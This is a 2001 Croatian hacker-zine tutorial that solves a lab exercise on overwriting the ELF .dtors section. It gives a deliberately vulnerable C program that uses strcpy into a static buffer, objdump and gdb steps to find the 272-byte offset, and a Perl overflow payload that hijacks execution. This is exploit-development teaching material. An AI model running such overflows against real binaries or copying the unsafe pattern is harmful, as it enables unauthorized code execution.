000000000000000 ----> 00000000-[ .DTORS ?! ]-00000000 <---- 000000000000000 ------------------------------- [ The Cult Of Freedom ] ------------------------------- --[ PhreakCore.ORG ]-- --[ Fr1c - 2001 - fr1c@phreakcore.org ]-- >> 0x01 - Uvod >> 0x02 - Primjer >> 0x03 - Kraj ==-[ 0x01 ]-================================================ NAPOMENA! Ovaj text nije napisan da bude alternativa DTORS txt-u koji je napisao moj prijatelj StYx! Ovo je dodatak za njegov txt! Ok, vazno je da znate, da svaki program kompajliran sa gcc-om ima .dtors. Dtors su mapirani u memoriji i writable po defaultu. Adrese u .dtors sekciji se izvrsavaju nakon main() funkcije. C++ coderi ce se sjetit destructora i constructora na klasama, ovo je slicna stvar :)) U cemu je fora ? -------- [root@fritz-lab dtors]# objdump -s -j .dtors ./2 ./2: file format elf32-i386 Contents of section .dtors: 80495a4 ffffffff 00000000 ........ -------- 00000000 je prazan, na njega treba upisat adresu neke funkcije koju zelimo izvrsit, ta adrese ce se izvrsit nakon main()-a ... Nego, krenimo sa radom... ==-[ 0x02 ]-================================================ Ovako, StYx je zadao u njegovom tutorialu malenu domacu zadacu :) Pa evo, da rijesimo ... ---- CUT HERE ---- #include #include #include static void sploit_me(void); void sploit_me(void) { printf("I bow down to you master !!!\n"); } int main(int argc, char **argv) { static u_char buf[256]="sploit_me"; if (argc < 2) exit(EXIT_FAILURE); strcpy(buf,argv[1]); exit(EXIT_SUCCESS); } ---- CUT HERE ---- Skompajlirajte program ... (ex. gcc 1.c -o 1) Ok, krenimo u posao ... U redu, kao prvo, saznajmo adresu od funkcije (spoilt_me); -------- [root@fritz-lab dtors]# objdump -t 1 1: file format elf32-i386 SYMBOL TABLE: ... 080484d0 l F .text 00000018 sploit_me ... -------- Ok, adresa funkcije spoilt_me je 080484d0! Iduca stvar, moramo znat kolki ce nam bit buffer... To je mnogima stvaralo probleme ... kao u dtors tutorialima ... Mnogi su se pitali zasto ide 24 byte-a i onda adresa ...tj. odakle onih 24 byte-a. E sada, pazite ... -------- [root@fritz-lab dtors]# objdump -x ./1 ./1: file format elf32-i386 ./1 architecture: i386, flags 0x00000112: EXEC_P, HAS_SYMS, D_PAGED start address 0x080483d0 ... 080496f0 l O .dtors 00000000 __DTOR_END__ ... 080495e0 l O .data 00000100 buf.0 ... -------- Ovako, moramo naci ove dvije stvari. Nas staticki buffer i __DTOR_END__. Iduci korak je oduzet adresu __DTOR_END__ od adrese statickog buffer-a. -------- [root@fritz-lab dtors]# gdb GNU gdb 5.0rh-5 Red Hat Linux 7.1 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". (gdb) printf "%d\n", 0x080496f0-0x080495e0 272 (gdb) -------- Hm, znaci, 080496f0 - 080495e0 = 272. Ok, probajmo : -------- [root@fritz-lab dtors]# ./1 `perl -e 'print "A" x 272; print "\xd0\x84\x04\x08"'` I bow down to you master !!! Segmentation fault (core dumped) [root@fritz-lab dtors]# -------- Evo, that's it! :) Znaci, isto tako je styx u njegovom tutorialu dobio 24 byte-a ... Nisam vidio da je napisao kako je dobio taj broj, pa sam zato odlucio napisat malen txt o tome... Uvijek potrazimo __DTOR_END__ i adresu statickog buffer-a... oduzmimo to i dobit cemo velicinu potrebnog buffer-a i na kraju dodamo adresu funkcije koju zelimo pokrenit (spoilt_me)! Znaci konacno rijesenje za StYx-ov zadatak je : -------- [root@fritz-lab dtors]# ./1 `perl -e 'print "A" x 272; print "\xd0\x84\x04\x08"'` I bow down to you master !!! -------- ==-[ 0x03 ]-================================================ Eto, ovo je bio samo jedan kratak txt o jednom primjeru za dtors... Dtors se cesto koristi kod fmt bug-ova, itd... Na vama je zanima li vas ovo i da nastavite istrazivat i citat o ovome ili ne... Ovaj txt sam napisao nakon razgovora na #hr.hackers jer bilo je problema oko jedne stvari u ovoj temi. -- Visit the WWW.PHREAKCORE.ORG! ============================================================ Dodatni textovi : - DTORS ( by StYx ) ########### Greetings : P4tri0t, BoyScout, StYx, NetZero, paradox, M4rduk, predator, fi, the1, downbload, sh0t, harlequin, ezop, DnNuke, ekipi na #linuxhelp i #hr.hackers! Sorry if i forgot some1 :(( umoran sam i pospan... ########### [root@fritz-lab dtors]# date Wed Dec 26 05:38:09 CET 2001